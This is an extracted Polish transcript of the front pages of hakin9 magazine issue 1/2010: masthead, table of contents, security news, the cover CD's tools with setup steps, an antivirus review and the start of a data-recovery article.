ATAK - Amazon S3
Transkrypt
ATAK - Amazon S3
SPIS TREŚCI NARZĘDZIA jest wydawany przez Software Press Sp. z o.o. SK Prezes wydawnictwa: Paweł Marciniak Redaktor naczelny: Katarzyna Dębek [email protected] Redaktor prowadzący: Tomasz Przybylski Kierownik produkcji: Andrzej Kuca [email protected] Dział produkcji kolportażu: Alina Stebakow [email protected] DTP: Tomasz Kostro 12 POCZĄTKI 14 Okładka: Agnieszka Marchocka, Łukasz Pabian Dział reklamy: [email protected] Obsługa prenumeraty: [email protected] Druk: ArtDruk www.artdruk.com Nakład wersji polskiej 6 000 egz. Wydawca: Software Press Sp. z o.o. SK ul. Bokserska 1, 02-682 Warszawa, Polska Tel. +48 22 427 36 77, Fax +48 22 244 24 59 www.hakin9.org Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje i programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantuje także poprawnego działania programów shareware, freeware i public domain. ATAK 20 Hakowanie Windows 7 26 Cloud computing 34 Błędy typu NULL Pointer Dereference 40 Jak zostać władcą portów Uszkodzone podczas wysyłki płyty wymienia redakcja. Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich firm i zostały użyte wyłącznie w celach informacyjnych. Do tworzenia wykresów i diagramów wykorzystano program firmy Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o. Redakcja używa systemu automatycznego składu UWAGA! Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową. hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie, Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niemczech, Austrii, Szwajcarii, Polsce. Prowadzimy również sprzedaż kioskową w innych krajach europejskich. Magazyn hakin9 wydawany jest w 4 wersjach językowych: PL EN FR DE UWAGA! Techniki prezentowane w artykułach mogą być używane jedynie we własnych sieciach lokalnych. Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie prezentowanych technik ani spowodowaną tym utratę danych. 4 HAKIN9 1/2010 Odzyskiwanie danych z twardego dysku ARTUR SKROUBA W dobie masowego rozwoju techniki cyfrowej podstawowym narzędziem pracy, komunikacji i rozrywki dla większości społeczeństwa staje się komputer osobisty (PC). Za jego pomocą można już dzisiaj zrealizować większość codziennych spraw. Niestety, korzystanie z tych dobrodziejstw wiąże się z pewnym ryzykiem, dotyczącym potencjalnego wystąpienia awarii, która w skuteczny sposób może sparaliżować nasz codzienny dzień. Wyróżnieni betatesterzy: Krzysztof Piecuch, Maksymilian Arciemowicz Opracowanie CD: Rafał Kwaśny Osoby zainteresowane współpracą prosimy o kontakt: [email protected] Mks_vir 9.0 wersja DOM PLUS WOJCIECH SMOL Windows 7, będący następcą kompletnie nieudanej Visty, prawdopodobnie okaże się dla Microsoftu szczęśliwą siódemką i powtórzy komercyjny sukces Windowsa XP. System ten nie zapewni nam jednak bezpiecznego środowiska pracy. Wojtek w swoim artykule przedstawi 7 dowodów na potwierdzenie tej tezy. MARCIN KOSEDOWSKI Nie uciekniemy od Cloud computingu. Dostawcy usług przywiążą nas do siebie, po czym zaopiekują się naszymi danymi. Nie nastąpi to w tym roku ani kolejnym, ale trend jest jasny – coraz więcej danych i obliczeń będzie rozproszonych w Sieci. To się po prostu opłaca. DAMIAN OSIENICKI Nieostrożne operacje na wskaźnikach są źródłem wielu błędów, które mogą posłużyć do eskalacji przywilejów lub ataków DoS. Artykuł opisuje model zarządzania pamięcią wirtualną procesu oraz sposób wykorzystania błędów dereferencji wskaźnika, w systemach linuksowych, na platformie 32-bitowej. NORBERT KOZŁOWSKI Nie będziemy potrzebowali floty statków ani pirackiej załogi by zrealizować ten cel. W XXI wieku zdołamy dokonać podobnych rzeczy wyposażeni jedynie w komputer oraz wiedzę pozwalającą na poprawne wykonanie pewnych technik. SPIS TREŚCI 46 Maskowanie – robisz to źle! MARCIN KOSEDOWSKI Hasła maskowane pozwalają na logowanie z niezaufanych systemów. W teorii zwiększa to poziom bezpieczeństwa, ale stosowane implementacje są dalekie od doskonałości. Przedstawiamy typowe błędy stosowane przez polskie banki i propozycje ich rozwiązania. OBRONA 52 Hartowanie jądra Linuksa SYLWESTER ZDANOWSKI Bezpieczeństwo komputerów jest tematyką często omawianą pod różnym kontem. Budując bezpieczny dom nie wystarczy alarm, groźny pies i czujnik dymu. Bez mocnych fundamentów cała reszta zawali się w mgnieniu oka. Fundamentem systemu jest kernel i prawa dostępu. PRAKTYKA 56 RTIR – nie trać czasu na papierkową robotę MARCIN TEODORCZYK Wiadomo, że zdarzenia związane z naruszaniem bezpieczeństwa są nie do uniknięcia. Czy nie warto przygotować się do efektywnej ich obsługi? Nieocenionym narzędziem jest tutaj system wsparcia reagowania na incydenty. BEZPIECZNA FIRMA 68 Bezpieczeństwo informacji ANDRZEJ GUZIK Zapewnienie bezpieczeństwa informacji w organizacji wymaga wdrożenia systemu zarządzania bezpieczeństwem informacji. Polskie normy, dotyczące bezpieczeństwa informacji, obok przepisów prawa oraz standardów branżowych stanowią tzw. najlepsze praktyki, wytyczne dla organizacji lub STAŁE RUBRYKI 6 Aktualności Przedstawiamy garść najciekawszych wiadomości ze świata bezpieczeństwa systemów informatycznych i nie tylko. Oto kilka z nich: • • • • Zaskakujące wyniki finansowe Microsoftu E-papierowe nowości od AUO HTC wydaje kod źródłowy jądra Hero Pirat działający w Sieci na dużą skalę zatrzymany przez policję 10 Zawartość CD • • • • • DiskExplorer for Linux V3.41 Kerio MailServer na Windows Runtime GetDataBack Runtime GetDataBack for NTFS Network Security Toolkit (NST) 78 Felieton Diagnoza: Cyberslacking Termin cyberslacking (w krajach anglojęzycznych występujący również w alternatywnej wersji, jako cyberloafing lub goldbricking) w piśmiennictwie po raz pierwszy pojawił się w drugiej połowie lat dziewięćdziesiątych XX wieku. 82 Zapowiedzi Zapowiedzi artykułów, które znajdą się w następnym wydaniu magazynu hakin9 1/2010 HAKIN9 5 W SKRÓCIE ZASKAKUJĄCE WYNIKI FINANSOWE MICROSOFTU Pod koniec 2009 roku Microsoft ogłosił wyniki finansowe za pierwszy kwartał roku obrachunkowego, rozpoczęty w lipcu 2009. Wyniki zaskoczyły analityków, są znacznie lepsze od oczekiwań. Według raportu firma odnotowała przychód na poziomie 12,92 mld dolarów. Wynik jest słabszy niż w zeszłym roku. Zysk netto wyniósł 3,57 mld dolarów, 40 centów za akcję – w stosunku do zeszłego roku słabsze notowania o odpowiednio o 18% i 17%. Niemniej analitycy spodziewali się zysku 32 centów za akcję, więc można powiedzieć, że wyniki znacznie przekroczyły przewidywania rynku. Do tego sukcesu w okresie kryzysu głównie przyczyniło się zainteresowanie systemem Windows oraz konsolami Xbox. E-PAPIEROWE NOWOŚCI OD AUO Firma AUO zaprezentowała największy na świecie moduł e-papieru w technologii EPD (Electrophoretic Display) o przekątnej aż 20 cali. Produkt wyróżnia się wyjątkowo niskim zużyciem energii elektrycznej, wynoszącym niecałe 2W. Dysponuje skalą szarości liczącą 16 poziomów. Moduł nie wymaga podświetlenia, przez co wydaje się idealnym rozwiązaniem do wykorzystania w przyszłości w sektorze Public Display. Oprócz tego firma pokazała 6calowy wyświetlacz z e-papieru, który można wielokrotnie zginać, co przybliża go funkcjonalnością do zwykłego papieru. 6 HAKIN9 1/2010 TREND MICRO AKCEPTUJE NOWE METODY „TESTOWANIA NA ŻYWO” OPRACOWANE PRZEZ NSS LABS Firma Trend Micro zaakceptowała nowe metody testowania programów zabezpieczających przed szkodliwym oprogramowaniem, opracowane przez NSS Labs, które lepiej odzwierciedlają warunki panujące w świecie rzeczywistym. Dotychczasowe przestarzałe techniki testowania nie sprawdzały stopnia ochrony przed najnowszymi zagrożeniami pochodzącymi z Internetu. Firma NSS Labs zastosowała w testowaniu programów antywirusowych nową metodę, w której oprócz tradycyjnych pomiarów skuteczności wykrywania zagrożeń mierzy się dwa dodatkowe parametry: stopień wykrywania i blokowania zagrożeń na podstawie ich źródłowych adresów URL oraz czas opóźnienia od chwili, gdy producent programu antywirusowego po raz pierwszy uzyskuje informację o nowym potencjalnym zagrożeniu do chwili, w której ochrona przed tym zagrożeniem dociera do klientów, czyli tzw. czas do uzyskania ochrony (ang. time to protect – przyp. red.) — powiedział Raimund Genes, dyrektor ds. technicznych w firmie Trend Micro. Jesteśmy zadowoleni, że firma Trend Micro dobrze wypadła w tych testach, ale przede wszystkim cieszą nas postępy w testowaniu produktów chroniących przed szkodliwym oprogramowaniem, które sprawiają, że metody testowania opracowane przez NSS Labs lepiej pokazują rzeczywistą ochronę zapewnianą użytkownikom tych produktów — powiedział Genes. – Testy powinny koncentrować się na poziomie ochrony klienta, a to znacznie więcej niż tylko wykrywanie zagrożeń. W testach grupowych, w których badano efektywność najlepszych zabezpieczeń dla użytkowników indywidualnych i firm w ochronie przed szkodliwym oprogramowaniem wykorzystującym strategie inżynierii społecznej, firma Trend Micro uzyskała najlepsze wyniki. Jest to kolejne potwierdzenie tego, że internetowa infrastruktura kliencka Trend Micro™ Smart Protection Network™, zapewniająca warstwową ochronę, wygrywa z rozwiązaniami konkurencji i najlepiej zabezpiecza przed zagrożeniami. Testy te zostały przeprowadzone przez NSS Labs niezależnie — żaden producent ich nie zlecił ani nie sponsorował. Testowane były następujące produkty Trend Micro: Trend Micro™ Internet Security dla użytkowników indywidualnych i Trend Micro™ OfficeScan™ Client/ Server Suite dla przedsiębiorstw. Łatwo pokonały one produkty konkurencji, w tym firm Kaspersky, McAfee, Symantec, F-Secure, AVG, Panda, Sophos, Eset i Norman. Systemy oceny reputacji plików poza siecią lokalną znacznie poprawiły ogólny poziom bezpieczeństwa, a firma Trend Micro zapewnia najlepszą ochronę w fazie pobierania i uruchamiania szkodliwych programów — podsumował Rick Moy, prezes NSS Labs. Z testu tego jasno wynika, że firma Trend Micro odniosła duży sukces dzięki wprowadzeniu wspomnianej metody do swojego arsenału środków. Ogólny wskaźnik ochrony w przypadku rozwiązania Trend Micro dla użytkowników indywidualnych osiągnął poziom 96,4% . Rozwiązanie to zatrzymało 91% zagrożeń w trakcie pobierania i dodatkowo rozpoznało jako szkodliwe 5,5% programów po ich uruchomieniu, co daje łączny wskaźnik 96,4%. Cały raport dotyczący testowania produktów dla użytkowników indywidualnych jest dostępny po zarejestrowaniu się na stronie http: //nsslabs.com/host-malware-protection/ consumer-anti-malware.html. Trend Micro OfficeScan Client/ Server Suite, sztandarowy produkt firmy do ochrony punktów końcowych w przedsiębiorstwach i firmach średniej wielkości, osiągnął najlepszy wynik ze wszystkich testowanych rozwiązań tego typu. Aby bezpłatnie zapoznać się z pełną treścią raportu dotyczącego testowania produktów dla przedsiębiorstw należy zarejestrować się pod adresem http://nsslabs.com/reprints/9b/ EndpointProtection-3Q2009. AKTUALNOŚCI Trend Micro OfficeScan wykorzystuje standardową architekturę klient-serwer. Ulepszona konsola zarządzania jest intuicyjna w obsłudze. Łatwe w użyciu rozwiązanie Office Scan nie sprawiało problemów w trakcie naszego testu. Poziom ochrony był niezmiennie bardzo wysoki w czasie całego procesu testowania — oceniła firma NSS Labs. Nowe metody testowania NSS Labs sprawdzają możliwość blokowania zagrożeń, zanim dotrą one do punktu końcowego oraz wykrywania tych, które mimo wszystko się przedostaną — te dwa parametry zostają uwzględnione w ogólnej ocenie produktu. NSS Labs Live Testing (testowanie na żywo) bada skuteczność produktu w ochronie przed najnowszymi zagrożeniami w warunkach użytkownika, a nie — jak inne metody — przed nieaktualnymi próbkami w zamkniętym środowisku laboratoryjnym. Przedstawione tutaj wyniki zostały oparte na danych empirycznych zebranych w trakcie 17 dni całodobowego testowania, wykonywanego co 8 godzin, obejmującego 59 odrębnych testów. W każdym z tych testów były dodawane nowe źródłowe adresy URL szkodliwego oprogramowania. Każdy produkt został uaktualniony do najnowszej wersji dostępnej w momencie rozpoczęcia testów i umożliwiał dostęp do Internetu przez cały czas ich trwania. Informacje o rozwiązaniu Trend Micro OfficeScan Client/Server Suite Trend Micro OfficeScan to produkt dla przedsiębiorstw. Chroni on komputery biurkowe, laptopy, serwery, urządzenia pamięci masowej i smartfony — w sieci korporacyjnej i poza nią — z wykorzystaniem światowej klasy nowatorskich zabezpieczeń przed szkodliwym oprogramowaniem, działających poza siecią lokalną, opartych na infrastrukturze Trend Micro Smart Protection Network. Nowa funkcja File Reputation przenosi pliki wzorców do Internetu, dzięki czemu uwalnia zasoby w punktach końcowych. Natomiast funkcja Web Reputation blokuje dostęp do szkodliwych serwisów internetowych. Elastyczna, modułowa architektura, nowa funkcja kontroli urządzeń, funkcja zapobiegania włamaniom do komputera głównego (HIPS), wirtualizacja oraz obsługa wielu platform obniżają koszty zarządzania i zwiększają elastyczność. Więcej informacji o produkcie można znaleźć pod adresem .http: //us.trendmicro.com/us/products/ enterprise/officescan-client-serveredition/index.html LCD, umieszczonej na obudowie. Brak hasła lub niepoprawne wpisanie blokuje możliwość korzystania z dysku. Produkty występują w trzech różnych wersjach, dysponujących różnymi poziomami zabezpieczeń: Data Locker Personal, Data Locker Pro AES oraz Data Locker Enterprise. Urządzenia w przypadku wykrycia ataku metodą brute force wymazują wszystkie dane. HTC WYDAJE KOD ŹRÓDŁOWY JĄDRA HERO WINDOWS 7 POPULARNIEJSZY OD HARRY'EGO POTTERA Firma HTC udostępniła kod źródłowy oprogramowania zastosowanego w Hero. Od kiedy Hero pojawił się na rynku, deweloperzy oprogramowania nalegali, by został udostępniony kod źródłowy jądra. Stosowna paczka właśnie co pojawiła się do pobrania. Taka sytuacja jest korzystna nie tylko dla twórców oprogramowania, ale także dla użytkowników, gdyż na świecie zdążyło pojawić się już wielu hakerów Androida, którzy w szybkim czasie dostarczą stosowne modyfikacje dla telefonów HTC Hero. Ruch zapoczątkowany przez firmę HTC będzie przyczyną pojawienia się w Sieci wielu ROM-ów ze zmienionym wyglądem systemu, dodaną funkcjonalnością itd. Na tej samej zasadzie, dzięki hakerom i udostępnionemu kodowi źródłowemu telefonu, na słuchawce G1 można zainstalować ROM dostarczający interfejsu HTC Sense, niedostępnego oficjalnie dla tego modelu telefonu. Na półkach sklepowych można już znaleźć nowy system operacyjny Microsoftu. Firma z Redmond bardzo liczy, że pomoże on w zatarciu złego wrażenia, jakie wywarła Vista. W przedsprzedaży na Amazonie Windows 7 rozchodzi się jak ciepłe bułeczki. Amerykańska firma wiąże duże nadzieje z tym produktem po niezbyt udanym poprzedniku, czyli systemie Vista. Windows 7 ma pozwolić odbudować nadszarpniętą reputację koncernu, niektórzy widzą w nim także szansę na poprawę wyników w całej branży informatycznej. Częstą praktyką jest bowiem kupowanie systemu operacyjnego razem z nowym sprzętem. O znaczeniu wydarzenia niech świadczy fakt, że w Japonii i Zjednoczonym Królestwie będą miały miejsce specjalne wydarzenia związane z premierą, na których obecne będą osoby odpowiedzialne za stworzenie nowego systemu – podaje CNET News. Oprócz tego Microsoft otwiera dzisiaj swój pierwszy sklep pod własną marką (w Scottsdale, w stanie Arizona) oraz kawiarnię w samym centrum Paryża. Microsoft ma też kolejny powód do zadowolenia. Brytyjski oddział sklepu Amazon, gdzie od pewnego czasu można było zamawiać kopie Windowsa 7, poinformował, że w ciągu zaledwie pierwszych 8 godzin przedsprzedaży zamówiono więcej egzemplarzy systemu niż w przypadku Visty w czasie całego okresu przed jej wprowadzaniem na rynek – podaje TG Daily. Sprzedaż jest też znacznie lepsza niż w przypadku ostatniej powieści Harry'ego Pottera, co stawia NOWE DYSKI TWARDE Z SERII DATA LOCKER Firma Origin Storage rozszerzyła linię zewnętrznych dysków twardych Data Locker o dwa nowe modele o pojemności 750 GB oraz 1 TB. W sprzedaży nadal będą dostępne wersje 320 GB i 500 GB. Urządzenia wyposażono w szereg funkcji, gwarantujących bezpieczeństwo przechowywanych danych. Podstawowe to: 256-bitowe szyfrowanie danych AES i zabezpieczenie dostępu hasłem o długości od 6 do 18 znaków, wprowadzanym za pomocą klawiatury 1/2010 HAKIN9 7 W SKRÓCIE Windowsa 7 w czołówce listy najlepiej sprzedających się produktów. Brian McBride z Amazon.co.uk powiedział, że sprzedaż systemu operacyjnego przeszła najśmielsze oczekiwania. W ciągu ostatnich trzech miesięcy jedynie najnowsza powieść Dana Browna Zaginiony Symbol sprzedawała się lepiej – podaje z kolei Telegraph.co.uk. W sprzedaży dostępnych będzie sześć wersji systemu, jednak dla Microsoftu najważniejsze są Home Premium oraz Professional, jako najpopularniejsze. Firma przypomina, że przejście z Visty na Windowsa 7 nie powinno być trudne, gdyż system umożliwi automatyczne przeniesienie wszystkich programów oraz danych. SUKCES TRÓJMIEJSKIEJ POLICJI: ZATRZYMANIE INTERNETOWEGO PIRATA Z SOPOTU Policjanci zajmujący się zwalczaniem przestępczości gospodarczej Komendy Wojewódzkiej w Gdańsku wspólnie z funkcjonariuszami Komendy Miejskiej z Sopotu zatrzymali w miejscu zamieszkania 31-letniego mieszkańca Sopotu, administratora oraz twórcę płatnych serwisów internetowych, na których bezprawnie rozpowszechniał ponad 3 tysiące filmów o wartości około 240 tys. Jest to jedna z największych tego typu akcji w Polsce, kiedy zatrzymany zostaje sprawca rozpowszechniający filmy w takiej liczbie tytułów i na tak wielką skalę. W czasie przeszukania policjanci zabezpieczyli 2 komputery, 2 dyski twarde oraz 415 płyt CDR i DVDR zawierających nielegalnie skopiowane filmy oraz pirackie programy komputerowe. Wartość programów 8 HAKIN9 1/2010 komputerowych wyceniona została wstępnie na 30 tys. zł. Zabezpieczono również 10 tys. zł pochodzące z działalności przestępczej. W ramach prowadzonej od kilku miesięcy działalności gospodarczej 31-letni mieszkaniec Sopotu za pośrednictwem założonych przez siebie płatnych serwisów internetowych poświęconych tematyce filmowej nielegalnie rozpowszechniał przeszło 3 tysiące filmów. Serwisy działały w ramach ponad dwustu domen (adresów) internetowych (!). Dostęp do zasobów multimedialnych na tych stronach odbywał się po wysłaniu płatnego smsa. W zależności od wartości wysłanego smsa internauta otrzymywał określony czas dostępu do filmów wybranych z udostępnionej przez sprawcę bazy. Za nielegalne rozpowszechnianie utworów grozi kara do 2 lat pozbawienia wolności. Jeżeli sprawca uczynił sobie z popełniania tego przestępstwa stałe źródło dochodu albo działalność przestępną sankcja wzrasta do lat 5. Natomiast za uzyskanie cudzego programu komputerowego bez zgody osoby uprawnionej w celu osiągnięcia korzyści majątkowej grozi kara pozbawienia wolności do lat 5. Mariusz Kaczmarek z Fundacji Ochrony Twórczości Audiowizualnej, organizacji współpracującej z organami ścigania i wymiaru sprawiedliwości w zwalczaniu piractwa filmowego nie kr yje satysfakcji z działania policjantów z Trójmiasta: „To jedna z największych tego rodzaju spraw. Przyjąć należy, że każdy z 3 tysięcy filmów był wielokrotnie nielegalnie odtwarzany, co ma znaczny wpływ na wysokość strat ponoszonych przez producentów. Sprawca działał spr ytnie i na szeroką skalę, więc tym większe słowa uznania należą się policji. Takie same słowa uznania należy skierować pod adresem prokuratur y sopockiej, która nie wyklucza objęcia postępowaniem klientów korzystających z nielegalnych serwisów”. Bartłomiej Witucki, koordynator Business Software Alliance, organizacji zrzeszającej czołowych producentów oprogramowania i zajmującej się zwalczaniem piractwa komputerowego w Polsce i na świecie dodaje: „Ta sprawa to jeszcze jeden dowód, że w Internecie nikt nie jest anonimowy i że każda nielegalna działalność w sieci pozostawia ślady pozwalające na identyfikację sprawcy”. Źródło: http://www.pomorska.policja.g ov.pl/serwisb.php?nr=10928 NA CD ZAWARTOŚĆ CD Network Security Toolkit jest to unikalny w swoim rodzaju pakiet narzędzi przeznaczonych dla administratorów sieci i wszystkich , którzy w jakiś sposób muszą sieciami zarządzać. DYSTRYBUCJA: • Network Security Toolkit (NST) PROGRAMY: • • • • DiskExplorer for Linux V3.41 Kerio MailServer na Windows Runtime GetDataBack Runtime GetDataBack for NTFS NETWORK SECURITY TOOLKIT Network Security Toolkit w wersji 2.11.0 można już pobrać z http://www.networkse curitytoolkit.org/. Bazą pakietu jest FEDORA, a całość zaprojektowano w taki sposób by zapewnić łatwy i szybki dostęp do najlepszych narzędzi w klasie Open Source Network Security Applications. Pakiet jest botowalnym dyskiem ISO działającym na większości platform x86/x86_64. Większość dostępnych w nim narzędzi znajduję się na liście TOP 100 Security Tools opublikowanej przez INSECURE.ORG. Narzędzie to zmienia dowolny system x86/x86_64 na analizator ruchu w sieci , wykrywacz włamań, generator pakietów i monitor sieci bezprzewodowej . Uruchomienie dystrybucji trwa mniej niż minutę i możliwe jest na dowolnym komputerze stacjonarnym czy też notebooku bez naruszania zainstalowanego na nim systemu operacyjnego. Dystrybucja ta jest również doskonałym narzędziem do odzyskiwania danych lub naprawy systemu, który uległ awarii. Przedstawiona wersja 2.11.0. oparta została o Fedora 11 z wykorzystaniem Linux Kernel: 2.6.30.543.fc11. Całość w stosunku do poprzedniej 10 HAKIN9 1/2010 wersji została przeprojektowana i na chwilę obecną wszelkie aplikacje znajdują się w pakietach RPM, co powoduję , iż w prosty sposób możliwa staje się aktualizacja programów przez Internet. „NST Live” umożliwia odczyt i zapis plików dzięki czemu możliwe jest instalowanie aplikacji pomimo tego , iż uruchomienie nastąpiło z napędu optycznego. Istnieje również możliwość przygotowania bot owalnego systemu uruchamianego z zewnętrznego dysku USB. Ponad to system posiada narzędzia przechwytujące driftnet i tcpxtract. Pierwsze służy do przechwytywania plików graficznych (gif, JPG itd.) , drugie natomiast potrafi przechwycić pliki PDF, DOC. Pozostałe aplikacje znane z poprzednich wydań zaktualizowane zostały do najnowszych wersji. Podsumowując dystrybucja Network Security Toolkit stanowi niejako podręczne narzędzie dla każdego kto ma do czynienia z sieciami komputerowymi. Szybkie uruchomienie i dostęp do najpotrzebniejszych wysoko ocenianych narzędzi i aplikacji dotyczących sieci sprawia , iż dystrybucja ta staję się bardzo poręczną i w gruncie rzeczy niezbędną pozycją w wyposażeniu każdego administratora sieci. Po uruchomieniu systemu z płyty CD należy zalogować się do konsoli używająćc loginu: root oraz hasła: „nst2003” następnie należy wydać polecenie „nstliveinst” które uruchomi proces instalacji na dysku twardym komputera. Po zakończonym procesie instalacji należy zrestartować komputer i uruchomić system z dysku twardego. Zalogować się używając użytkownika root oraz hasła nst2003. Po zalogowaniu polecenie „yum install nst-live” zaktualizuje system poprzez sieć do pełnej wersji Network Security Toolkit. Po przeprowadzeniu procesu instalacji należy wykonać polecenie nstpostinstall które skonfiguruje system. DISKEXPLORER FOR LINUX V3.41 Windows edytor dysku do systemu plików NTFS Ten zaawansowany edytor dysku pozwala badać swoje NTFS i wykonywać odzyskiwanie danych, za pomocą następujących funkcji: • • • • • • • • • przejście NTFS skacząc w tabeli partycji, boot record, Master File Table lub w katalogu głównym, wybierz między widokami, takich jak hex, tekst, przydział indeksu, MFT, boot record, tablica partycji, sprawdź szczegóły wpisu pliku, NT atrybuty itp., szukaj dysku tekstu, tabel partycji, rekordy rozruchu, MFT wpisy, bufory indeks, widok plików, zapisywanie plików lub całych katalogów z dowolnego miejsca na dysku, identyfikacja plików, tworzenie wirtualnego dźwięku podczas boot record, które zostaną utracone lub uszkodzone, edycja dysku za pomocą bezpośredniego odczytu i zapisu w trybie (nie zalecane) lub wirtualny tryb zapisu. NETWORK SECURITY TOOLKIT KERIO MAILSERVER NA WINDOWS Kerio MailServer jest nowoczesnym, bezpiecznym serwerem poczty email z mozliwością pracy grupowej, niezwykle wygodnym w małych i średnich przedsiębiorstwach, który zapewnia także wysoką dostępność usług pocztowych jaką powinni zapewnić ich dostawcy. Od wersji 6.6 konsola produktu jest dostępna także w języku polskim. Administrator może zainstalować i skonfigurować serwer pocztowy w kilka minut. Instalacja nie wymaga systemów operacyjnych z linii Windows Server co znacznie obniża koszty całego rozwiązania. Administrator posiada konsolę administracyjną, dzięki której można centralnie zarządzać serwerem pocztowym i innymi produktami firmy Kerio Technologies. Zdalna administracja odbywa się poprzez połączenie szyfrowane. Kerio MailServer jest bezpiecznym serwerem poczty e-mail potrafiącym obsłużyć wiele domen, dostarczającym takich usług jak wysyłanie i dostarczanie e-maili z wykorzystaniem protokołów IMAP, POP i SMTP szyfrowanych SSL. W obu naszych produktach: Kerio MialServer ze zintegrowanym McAfee oraz Kerio MailServer ze wsparciem dla zewnętrznych programów antywirusowych (Avast, AVG, NOD32, Sophos, Symantec, CalmAv) zastosowaliśmy wyjątkową globalną ochronę antywirusową. Kerio MailServer jest serwerem e-mailowym zwalczającym spam za pomocą autoryzacji SMTP, wykorzystania bazy danych spamerów, wydajnego filtrowania zawartości i dynamicznych ograniczeń obciążenia serwera SMTP. Wygodny interfejs WebMail zapewnia bezpieczny dostęp do skrzynki pocztowej przy użyciu przeglądarki internetowej. Użytkownicy posiadający telefon komórkowy mają dostęp do swojej skrzynki dzięki usłudze WAP. Kerio MailServer jest elastycznym serverem poczty, który może obsługować od 10 kont email i również świadczyć usługi ISP dla wielu tysięcy kont. RUNTIME GETDATABACK Zaawansowane narzędzie do odzyskiwania, danych na skutek formatowania, ataku wirusa, awarii urządzenia lub oprogramowania. GetDataBack potrafi odzyskać dane, nawet jeżeli została utracona lub uszkodzona tabela partycji dysku twardego, FAT/MFT. GetDataBack odzyska dane nawet jeżeli dysk nie jest rozpoznawany przez Windows. Alikacja jest bardzo bezpieczna gdyż przeznaczona tylko do odczytu, oznacza to że nie będzie ona próbować zapisać jakąkolwiek informacje na dysk. Program GetDataBack ma bardzo intuicyjny interfejs i działa błyskawicznie. Przy pomocy GetDataBack można odzyskać dane zarówno jak na tym komputerze na którym jest zainstalowana aplikacja tak i na dowolnym innym znajdującym się w sieci lokalnej. Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD. W razie problemów z płytą, proszę napisać pod adres: [email protected] 1/2010 HAKIN9 11 NARZĘDZIA mks_vir 9.0 wersja DOM PLUS – recenzja Producent MKS Sp. z o.o. Typ Antywirus Strona producenta www.mks.com.pl Recenzent Arkadiusz Krawczyński OCENA «««« 12 HAKIN9 1/2010 Firma MKS oddała do dyspozycji użytkowników wersję swojego sztandarowego produktu opatrzoną numerem 9. Dla użytkowników domowych występuje ona w dwóch wersjach: DOM oraz DOM PLUS. Bogatsza opcja jest rozbudowana o moduł antyspamowy oraz zaporę sieciową. Programy antywirusowe przerodziły się w kombajny monitorujące nie tylko dysk, ale też pocztę, odwiedzane strony internetowe, uruchomione procesy itd. Takim właśnie kompleksowym rozwiązaniem jest pakiet mks_vir 9.0 DOM PLUS. Wersja podstawowa (DOM) zalecana jest dla osób, które mają już chronioną sieć, na przykład przez ISP lub firewall innego producenta. W trakcie instalacji wystarczy tylko podać folder docelowy oraz klucz licencji (lub wybrać wersję demo). Program można zainstalować w dwóch wersjach językowych: polskiej lub angielskiej. Ustawienia języka można również bez problemu zmienić już po zainstalowaniu aplikacji. Nie ma możliwości wyboru instalowanych składników pakietu, wszystkie są instalowane domyślnie. Może być to irytujące dla bardziej zaawansowanych użytkowników, którzy nie używają niektórych modułów i chcieliby mieć możliwość całkowitego ich usunięcia. Niestety producent nie udostępnił zaawansowanego trybu instalacji. Program instalacyjny nie zadaje też żadnych pytań o konfigurację narzędzi, dzięki temu nie wprawia w zakłopotanie osób początkujących. Po zakończeniu instalacji, wymagany jest restart systemu (w celu aktywacji firewalla). Program jest gotowy do działania od razu po uruchomieniu. Oczywiście zastosowana jest domyślna konfiguracja. Jest to znów ukłon w stronę mniej doświadczonych użytkowników. Konfiguracja domyślna została tak przemyślana, aby nie utrudniała korzystania z komputera, a jednocześnie zapewniała przyzwoity poziom bezpieczeństwa. Główne okno programu zawiera zaledwie kilka przycisków umożliwiających włączenie lub wyłączenie poszczególnych modułów oraz dostęp do ustawień. Dzięki tak minimalistycznemu interfejsowi obsługa jest bardzo prosta i intuicyjna, nawet dla osób początkujących. Użytkownicy chcący mieć dostęp do większej ilości ustawień i modułów, mogą przełączyć widok na bardziej szczegółowy. Zmiana wymaga ponownego uruchomienia aplikacji, ale trwa to tylko chwilę. Umożliwia to dostęp do pełnych możliwości konfiguracyjnych programu. To bardzo dobre połączenie potrzeb i wymagań zarówno początkujących, jak i zaawansowanych klientów. Funkcjonalność produktu mks_vir 9.0 nie odbiega od produktów konkurencji. Dostarcza zarówno podstawowych usług, takich jak: skaner i monitor antywirusowy, firewall, kwarantanna czy ochrona poczty, jak i dodatkowych możliwości, na przykład: monitor procesów i monitor rejestru. Osoby, które miały do czynienia z wcześniejszymi propozycjami firmy MKS (mks_vir 2k7), zauważą zapewne znaczne udoskonalenie modułu firewalla. W poprzednich wersjach nie zachwycał on możliwościami konfiguracyjnymi. Zostało to poprawione w najnowszym wydaniu. Dla początkujących osób przydatny będzie tryb uczenia zapory, bardziej zaawansowani użytkownicy mogą natomiast zarządzać ruchem sieciowym za pomocą zdefiniowanych przez siebie reguł. Daje to możliwość dokładnego określenia akceptowanych i odrzucanych połączeń, co znacząco wpływa na podniesienie bezpieczeństwa. Podsumowując, pakiet mks_vir 9.0 DOM PLUS jest bardzo dobrym rozwiązaniem dla użytkowników domowych. Wśród osób decydujących się na to rozwiązanie, zdecydowana większość nie dysponuje wiedzą potrzebną do samodzielnej konfiguracji i dostosowania takich narzędzi jak firewall czy skaner antywirusowy. Dlatego program jest maksymalnie uproszczony i jego uruchomienie nie wymaga dużej wiedzy informatycznej. Jednocześnie daje on szerokie możliwości konfiguracji bardziej zaawansowanym użytkownikom. POCZĄTKI ARTUR SKROUBA Stopień trudności Odzyskiwanie danych z twardego dysku W dobie masowego rozwoju techniki cyfrowej podstawowym narzędziem codziennej pracy bądź rozrywki staje się komputer osobisty (PC). Niestety, korzystanie z cyfrowych dobrodziejstw wiąże się z pewnym ryzykiem, dotyczącym potencjalnego 